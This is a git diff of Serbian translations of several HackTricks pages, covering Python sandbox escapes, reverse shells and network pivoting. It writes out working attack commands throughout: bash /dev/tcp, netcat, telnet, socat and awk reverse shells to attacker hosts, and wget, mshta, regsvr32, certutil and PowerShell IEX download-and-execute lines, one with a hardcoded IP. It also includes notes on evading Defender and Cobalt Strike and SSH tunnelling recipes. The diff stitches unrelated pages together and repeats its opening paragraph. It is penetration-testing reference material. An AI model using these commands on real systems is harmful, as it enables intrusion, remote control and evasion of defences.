Kada nemate `__builtins__`, nećete moći da uvozite ništa niti da čitate ili pišete datoteke jer **sve globalne funkcije** (kao što su `open`, `import`, `print`...) **nisu učitane**.\
Međutim, **podrazumevano, Python učitava mnoge module u memoriju**. Ovi moduli mogu delovati bezopasno, ali neki od njih **takođe uvoze opasne** funkcionalnosti unutar sebe do kojih se može pristupiti kako bi se čak postiglo **izvršavanje proizvoljnog koda**.
Kada nemate `__builtins__`, nećete moći da uvezete ništa niti čitati ili pisati fajlove jer **sve globalne funkcije** (kao što su `open`, `import`, `print`...) **nisu učitane**.\
Međutim, **podrazumevano, python uvozi mnoge module u memoriju**. Ovi moduli mogu delovati bezopasno, ali neki od njih **takođe uvoze opasne** funkcionalnosti unutar sebe do kojih se može pristupiti kako bi se čak postiglo **izvršavanje proizvoljnog koda**.
U sledećim primerima možete videti kako **zloupotrebiti** neke od ovih "**benignih**" učitanih modula kako biste pristupili **opasnim** **funkcionalnostima** unutar njih.
@ -363,6 +363,8 @@ import __builtin__
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
```
#### Python3
#### Пајтон3
```python
# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
@ -557,7 +559,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
## Rekurzivna pretraga ugrađenih funkcija, globalnih promenljivih...
{% hint style="warning" %}
Ovo je zaista **sjajno**. Ako tražite objekat poput globals, builtins, open ili bilo čega drugog, jednostavno koristite ovaj skript za **rekurzivno pronalaženje mesta gde možete pronaći taj objekat.**
Ovo je zaista **sjajno**. Ako tražite objekat poput globals, builtins, open ili bilo čega drugog, jednostavno koristite ovaj skript za rekurzivno pronalaženje mesta gde možete pronaći taj objekat.
{% endhint %}
```python
import os, sys # Import these to find more gadgets
@ -682,11 +684,11 @@ Možete proveriti izlaz ovog skripta na ovoj stranici:
## Python Format String
Ako **pošaljete** **string** u python koji će biti **formatiran**, možete koristiti `{}` da pristupite **internim informacijama pythona**. Možete koristiti prethodne primere da pristupite globalnim ili ugrađenim funkcijama na primer.
Ako **pošaljete** **string** u python koji će biti **formatiran**, možete koristiti `{}` da pristupite **internim informacijama pythona**. Možete koristiti prethodne primere da pristupite globalnim promenljivama ili ugrađenim funkcijama na primer.
{% hint style="info" %}
Međutim, postoji **ograničenje**, možete koristiti samo simbole `.[]`, tako da **nećete moći izvršiti proizvoljni kod**, već samo čitati informacije.\
_**Ako znate kako izvršiti kod putem ove ranjivosti, molim vas kontaktirajte me.**_
Međutim, postoji **ograničenje**, možete koristiti samo simbole `.[]`, tako da **nećete moći da izvršite proizvoljni kod**, već samo da čitate informacije.\
_**Ako znate kako da izvršite kod putem ove ranjivosti, molim vas kontaktirajte me.**_
{% endhint %}
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
@ -751,10 +753,10 @@ Takođe proverite sledeću stranicu za gedžete koji će **čitati osetljive inf
## Rasklapanje Python objekata
{% hint style="info" %}
Ako želite da saznate više o **bajtkodu u Pythonu** detaljno pročitajte ovaj **sjajan** post na temu: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
Ako želite da saznate više o **bajtkodu u Pythonu** detaljno pročitajte ovaj **sjajan** članak na temu: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %}
Na nekim CTF takmičenjima može vam biti dostavljeno ime **prilagođene funkcije u kojoj se nalazi zastava** i treba da vidite **unutrašnjost** te **funkcije** kako biste je izvukli.
Na nekim CTF-ovima može vam biti dostavljen naziv **prilagođene funkcije u kojoj se nalazi zastava** i treba da vidite **unutrašnjost** te **funkcije** kako biste je izvukli.
Ovo je funkcija koju treba pregledati:
```python
@ -776,7 +778,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` i `func_globals` (Isto) Dobijaju globalno okruženje. U primeru možete videti neke uvežene module, neke globalne promenljive i njihov sadržaj deklarisane:
`__globals__` i `func_globals` (Isto) Dobijaju globalno okruženje. U primeru možete videti neke uvežene module, neke globalne promenljive i njihov sadržaj deklarisan:
```python
get_flag.func_globals
get_flag.__globals__
@ -785,7 +787,7 @@ get_flag.__globals__
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
[**Pogledajte ovde više mesta za dobijanje globalnih promenljivih**](./#globals-and-locals)
[**Pogledajte ovde više mesta za dobijanje globala**](./#globals-and-locals)
### **Pristupanje kodu funkcije**
@ -877,7 +879,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Primetite da **ako ne možete da uvezete `dis` u python sandbox-u** možete dobiti **bajtkod** funkcije (`get_flag.func_code.co_code`) i **raspakovati** ga lokalno. Nećete videti sadržaj učitanih promenljivih (`LOAD_CONST`), ali možete da pretpostavite njihov sadržaj iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe daje offset učitane promenljive.
Primetite da **ako ne možete da uvezete `dis` u python pesku**, možete dobiti **bajtkod** funkcije (`get_flag.func_code.co_code`) i **raspakovati** ga lokalno. Nećete videti sadržaj učitanih promenljivih (`LOAD_CONST`), ali ih možete pretpostaviti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe pokazuje ofset učitane promenljive.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -917,7 +919,7 @@ return "Nope"
```
### Kreiranje objekta koda
Prvo što treba da uradimo je da saznamo **kako kreirati i izvršiti objekat koda** kako bismo mogli da kreiramo jedan za izvršavanje naše funkcije leaked:
Prvo, moramo znati **kako kreirati i izvršiti objekat koda** kako bismo mogli kreirati jedan za izvršavanje naše funkcije leaked:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -946,7 +948,7 @@ types.CodeType.__doc__
### Rekreiranje procurene funkcije
{% hint style="warning" %}
U sledećem primeru, preuzećemo sve potrebne podatke za rekreiranje funkcije direktno iz objekta koda funkcije. U **pravom primeru**, sve **vrednosti** potrebne za izvršenje funkcije **`code_type`** su ono što će vam biti potrebno da **procurete**.
U sledećem primeru, uzimamo sve potrebne podatke kako bismo rekreirali funkciju direktno iz objekta koda funkcije. U **pravom primeru**, sve **vrednosti** potrebne za izvršenje funkcije **`code_type`** su ono što će vam biti potrebno da **procurete**.
{% endhint %}
```python
fc = get_flag.__code__
@ -960,7 +962,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Zaobilaženje odbrana
U prethodnim primerima na početku ovog posta, možete videti **kako izvršiti bilo koji Python kod koristeći funkciju `compile`**. Ovo je interesantno jer možete **izvršiti ceo skript** sa petljama i svim ostalim u **jednoj liniji koda** (i mogli bismo isto to uraditi koristeći **`exec`**).\
U prethodnim primerima na početku ovog posta, možete videti **kako izvršiti bilo koji Python kod koristeći funkciju `compile`**. Ovo je interesantno jer možete **izvršiti ceo skript** sa petljama i svim ostalim u **jednoj liniji koda** (i isto možemo uraditi koristeći **`exec`**).\
U svakom slučaju, ponekad može biti korisno **kreirati** **kompajliran objekat** na lokalnom računaru i izvršiti ga na **CTF mašini** (na primer, jer nemamo funkciju `compile` na CTF-u).
Na primer, hajde da ručno kompajliramo i izvršimo funkciju koja čita _./poc.py_:
@ -1033,7 +1035,7 @@ print(f"\nNot a Super User!!!\n")
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,7 +26,7 @@ Drugi načini podrške HackTricks-u:
## Potpuni TTY
**Kada dobijete obrnutu školjku**[ **pročitajte ovu stranicu da biste dobili potpuni TTY**](full-ttys.md)**.**
**Kada dobijete reverznu školjku**[ **pročitajte ovu stranicu da biste dobili potpuni TTY**](full-ttys.md)**.**
## Bash | sh
```bash
@ -54,13 +54,13 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
```
#### Objasnjenje Shell-a
1. **`bash -i`**: Ovaj deo komande pokreće interaktivnu (`-i`) Bash ljusku.
2. **`>&`**: Ovaj deo komande je skraćena oznaka za **preusmeravanje kako standardnog izlaza** (`stdout`) tako i **standardne greške** (`stderr`) na **isti odredište**.
3. **`/dev/tcp/<NAPADAC-IP>/<PORT>`**: Ovo je poseban fajl koji **predstavlja TCP konekciju ka navedenoj IP adresi i portu**.
* **Preusmeravanjem izlaznih i grešnih tokova u ovaj fajl**, komanda efikasno šalje izlaz interaktivne ljuske sesije ka računaru napadača.
4. **`0>&1`**: Ovaj deo komande **preusmerava standardni ulaz (`stdin`) na isto odredište kao standardni izlaz (`stdout`)**.
1. **`bash -i`**: Ovaj deo komande pokrece interaktivnu (`-i`) Bash ljusku.
2. **`>&`**: Ovaj deo komande je skracena oznaka za **preusmeravanje i standardnog izlaza** (`stdout`) i **standardne greske** (`stderr`) na **isti odrediste**.
3. **`/dev/tcp/<NAPADAC-IP>/<PORT>`**: Ovo je poseban fajl koji **predstavlja TCP vezu sa navedenom IP adresom i portom**.
* **Preusmeravanjem izlaznih i gresnih tokova u ovaj fajl**, komanda efikasno salje izlaz interaktivne ljuske sesije na masinu napadaca.
4. **`0>&1`**: Ovaj deo komande **preusmerava standardni ulaz (`stdin`) na isto odrediste kao i standardni izlaz (`stdout`)**.
### Kreirajte fajl i izvršite
### Kreiraj u fajlu i izvrsi
```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
@ -109,7 +109,7 @@ Samo trebate izmeniti:
- Prefiks i sufiks vašeg payload-a (ako postoji)
- Način slanja payload-a (zaglavlja? podaci? dodatne informacije?)
Zatim možete jednostavno **slati komande** ili čak **koristiti komandu `upgrade`** da biste dobili potpunu PTY (imajte na umu da se cevi čitaju i pišu sa oko 1.3s kašnjenja).
Zatim možete jednostavno **slati komande** ili čak **koristiti komandu `upgrade`** da biste dobili potpunu PTY (imajte na umu da se cjevovodi čitaju i pišu sa oko 1.3s kašnjenja).
## Netcat
```bash
@ -127,7 +127,7 @@ bash -c "$(curl -fsSL gsocket.io/x)"
```
## Telnet
Telnet je jednostavan protokol za pristup udaljenom računaru preko mreže.
Telnet je jednostavan protokol za pristup udaljenom računaru preko mreže. On omogućava korisniku da se prijavi na udaljeni sistem i izvršava komande kao da je direktno povezan sa njim.
```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
@ -140,7 +140,7 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-I
```bash
while true; do nc -l <port>; done
```
Da biste poslali komandu, napišite je, pritisnite Enter i pritisnite CTRL+D (da zaustavite STDIN)
Da biste poslali komandu, napišite je, pritisnite Enter, a zatim pritisnite CTRL+D (da zaustavite STDIN)
**Žrtva**
```bash
@ -272,8 +272,6 @@ attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
## Awk
Awk je moćan alat za obradu teksta koji se često koristi u shell skriptama. Može se koristiti za pretraživanje i obradu teksta, kao i za izvlačenje i prikazivanje određenih informacija iz datoteka. Awk koristi redove i kolone kao osnovne jedinice podataka i omogućava korisnicima da lako manipulišu podacima na ovaj način.
```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
@ -283,7 +281,7 @@ awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s;
```bash
while true; do nc -l 79; done
```
Da biste poslali komandu, napišite je, pritisnite Enter i pritisnite CTRL+D (da zaustavite STDIN)
Da biste poslali komandu, napišite je, pritisnite Enter, a zatim pritisnite CTRL+D (da zaustavite STDIN)
**Žrtva**
```bash
@ -329,7 +327,7 @@ Xnest :1
```
## Groovy
od [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NAPOMENA: Java reverse shell takođe radi za Groovy
od [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NAPOMENA: Java reverzna ljuska takođe radi za Groovy
```bash
String host="localhost";
int port=8044;
@ -345,7 +343,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -355,7 +353,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -113,7 +113,7 @@ mshta http://webserver/payload.hta
```bash
mshta \\webdavserver\folder\payload.hta
```
#### **Primer reverznog šela hta-psh (koristi hta za preuzimanje i izvršavanje PS backdoor-a)**
#### **Primer hta-psh reverzne ljuske (koristi hta za preuzimanje i izvršavanje PS zadnjih vrata)**
```xml
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
```
@ -165,7 +165,7 @@ msf exploit(windows/misc/hta_server) > exploit
```bash
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
```
**Otkriveno od strane zaštitnika**
**Otkriveno od strane defendera**
@ -226,7 +226,7 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```
**Otkriveno od strane zaštitnika**
**Otkriveno od strane defendera**
#### Regsvr32 -sct
@ -262,7 +262,7 @@ run
* [Odavde](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
Preuzmite B64dll, dekodirajte je i izvršite.
Preuzmite B64dll, dekodirajte ga i izvršite.
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```
@ -318,7 +318,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```bash
wmic os get /format:"https://webserver/payload.xsl"
```
Primer xsl fajla [odavde](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
Primer xsl datoteke [odavde](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
```xml
<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
@ -353,7 +353,7 @@ Kompajlirajte C# kod na žrtvinom računaru.
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
```
Možete preuzeti osnovnu C# obrnutu ljusku sa ovog linka: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
Možete preuzeti osnovnu C# reverznu ljusku sa ovog linka: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
**Nije otkriveno**
@ -383,15 +383,15 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
U **Shells** fascikli, nalazi se mnogo različitih shell-ova. Da biste preuzeli i izvršili Invoke-_PowerShellTcp.ps1_ napravite kopiju skripte i dodajte na kraj fajla:
U **Shells** fascikli, postoji mnogo različitih shell-ova. Da biste preuzeli i izvršili Invoke-_PowerShellTcp.ps1_ napravite kopiju skripte i dodajte na kraj fajla:
```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
```
Pokrenite skriptu na veb serveru i izvršite je na kraju žrtve:
Počnite sa izvršavanjem skripte na veb serveru i izvršite je na strani žrtve:
```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
```
Defender ne otkriva to kao zlonamerni kod (još uvek, 3/04/2019).
Defender ne otkriva da je zlonamerni kod (još uvek, 3/04/2019).
**TODO: Proveriti druge nishang školjke**
@ -399,13 +399,15 @@ Defender ne otkriva to kao zlonamerni kod (još uvek, 3/04/2019).
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
Preuzmi, pokreni web server, pokreni osluškivač i izvrši ga na strani žrtve:
Preuzmite, pokrenite web server, pokrenite osluškivač i izvršite ga na strani žrtve:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
**Ostale opcije koje nudi powercat:**
Defender još uvek ne otkriva kao zlonamerni kod (još, 3/04/2019).
Bind shell, Reverse shell (TCP, UDP, DNS), Preusmeravanje porta, otpremanje/preuzimanje, Generisanje payload-a, Slanje fajlova...
**Druge opcije koje nudi powercat:**
Bind shell-ovi, Reverse shell (TCP, UDP, DNS), Preusmeravanje porta, upload/download, Generisanje payload-a, Slanje fajlova...
```
Serve a cmd Shell:
powercat -l -p 443 -e cmd
@ -426,7 +428,7 @@ powercat -l -p 443 -i C:\inputfile -rep
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
Napravite powershell pokretač, sačuvajte ga u datoteku, preuzmite i izvršite.
Napravite powershell pokretač, sačuvajte ga u datoteku i preuzmite i izvršite.
```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
@ -454,7 +456,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS konzola sa nekim ofanzivnim PS modulima unapred učitanim (šifrovano)\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
WinPWN](https://github.com/SecureThisShit/WinPwn) PS konzola sa nekim ofanzivnim PS modulima i detekcijom proksija (IEX)
WinPWN](https://github.com/SecureThisShit/WinPwn) PS konzola sa nekim ofanzivnim PS modulima i detekcijom proksi servera (IEX)
## Reference
@ -468,7 +470,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS konzola sa nekim ofanzivnim
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -478,7 +480,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS konzola sa nekim ofanzivnim
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**

View file

@ -4,17 +4,17 @@
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -70,13 +70,13 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
```
### Port2hostnet (proxychains)
Lokalni port --> Kompromitovani host (SSH) --> Kuda god
Lokalni port --> Kompromitovani host (SSH) --> Gde god
```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
```
### Obrnuto prosleđivanje porta
Ovo je korisno za dobijanje obrnutih ljuski sa internih domaćina preko DMZ-a na vaš domaćin:
Ovo je korisno za dobijanje obrnutih ljuski sa internih domaćina preko DMZ-a do vašeg domaćina:
```bash
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
@ -87,7 +87,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
```
### VPN-Tunel
Potrebno je **root na oba uređaja** (jer ćete kreirati nove interfejse) i sshd konfiguracija mora dozvoliti root prijavljivanje:\
Potrebno je **root u oba uređaja** (jer ćete kreirati nove interfejse) i sshd konfiguracija mora dozvoliti root prijavljivanje:\
`PermitRootLogin yes`\
`PermitTunnel yes`
```bash
@ -108,7 +108,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
```
## SSHUTTLE
Možete **tunelovati** sav **saobraćaj** ka **podmreži** preko hosta.\
Možete **tunelovati** sav **saobraćaj** ka **podmreži** preko domaćina.\
Na primer, prosleđivanje sav saobraćaj koji ide ka 10.10.10.0/24
```bash
pip install sshuttle
@ -155,7 +155,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
### SOCKS proxy
Otvorite port u tim serveru koji sluša na svim interfejsima i može se koristiti za **usmeravanje saobraćaja kroz beacon**.
Otvorite port u tim serveru koji sluša na svim interfejsima koji se mogu koristiti za **usmeravanje saobraćaja kroz beacon**.
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
@ -166,7 +166,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port
{% hint style="warning" %}
U ovom slučaju, **port je otvoren na hostu zastavici**, a ne na serverskom timu i saobraćaj se šalje serverskom timu i odande ka naznačenom hostu:port
U ovom slučaju, **port je otvoren na hostu zastavici**, a ne na Tim serveru i saobraćaj se šalje na Tim server, a odatle ka naznačenom hostu:port
{% endhint %}
```bash
rportfwd [bind port] [forward host] [forward port]
@ -175,7 +175,7 @@ rportfwd stop [bind port]
### rPort2Port lokalno
{% hint style="warning" %}
U ovom slučaju, **port je otvoren na hostu beacon-a**, a ne na Team Serveru i **saobraćaj je poslat ka Cobalt Strike klijentu** (ne ka Team Serveru) i odatle ka naznačenom hostu:port.
U ovom slučaju, **port je otvoren na hostu bekon**, ne na Tim Serveru i **saobraćaj je poslat ka Cobalt Strike klijentu** (ne ka Tim Serveru) i odatle ka naznačenom hostu:port.
{% endhint %}
```
rportfwd_local [bind port] [forward host] [forward port]
@ -185,7 +185,7 @@ rportfwd_local stop [bind port]
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
Potrebno je da otpremite web fajl tunela: ashx|aspx|js|jsp|php|php|jsp
Potrebno je da otpremite web fajl tunel: ashx|aspx|js|jsp|php|php|jsp
```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```
@ -243,6 +243,8 @@ attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
### Port2Port
### Port2Port
```bash
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
@ -285,7 +287,7 @@ chmod 600 $FILENAME.key $FILENAME.pem
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
```
### Udalljivanje Porta na Daljinu
### Udalljeni Port2Port
Povežite lokalni SSH port (22) sa 443 portom napadačkog hosta
```bash
@ -297,7 +299,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
To je kao konzolna verzija PuTTY-a (opcije su vrlo slične ssh klijentu).
Pošto će se ovaj binarni fajl izvršiti na žrtvi i to je ssh klijent, moramo otvoriti naš ssh servis i port kako bismo imali reverznu konekciju. Zatim, da bismo prosledili samo lokalno dostupan port na port našeg računara:
Pošto će se ovaj binarni fajl izvršiti na žrtvi i to je ssh klijent, moramo otvoriti naš ssh servis i port kako bismo imali reverznu konekciju. Zatim, da prosledimo samo lokalno dostupan port na port našeg računara:
```bash
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
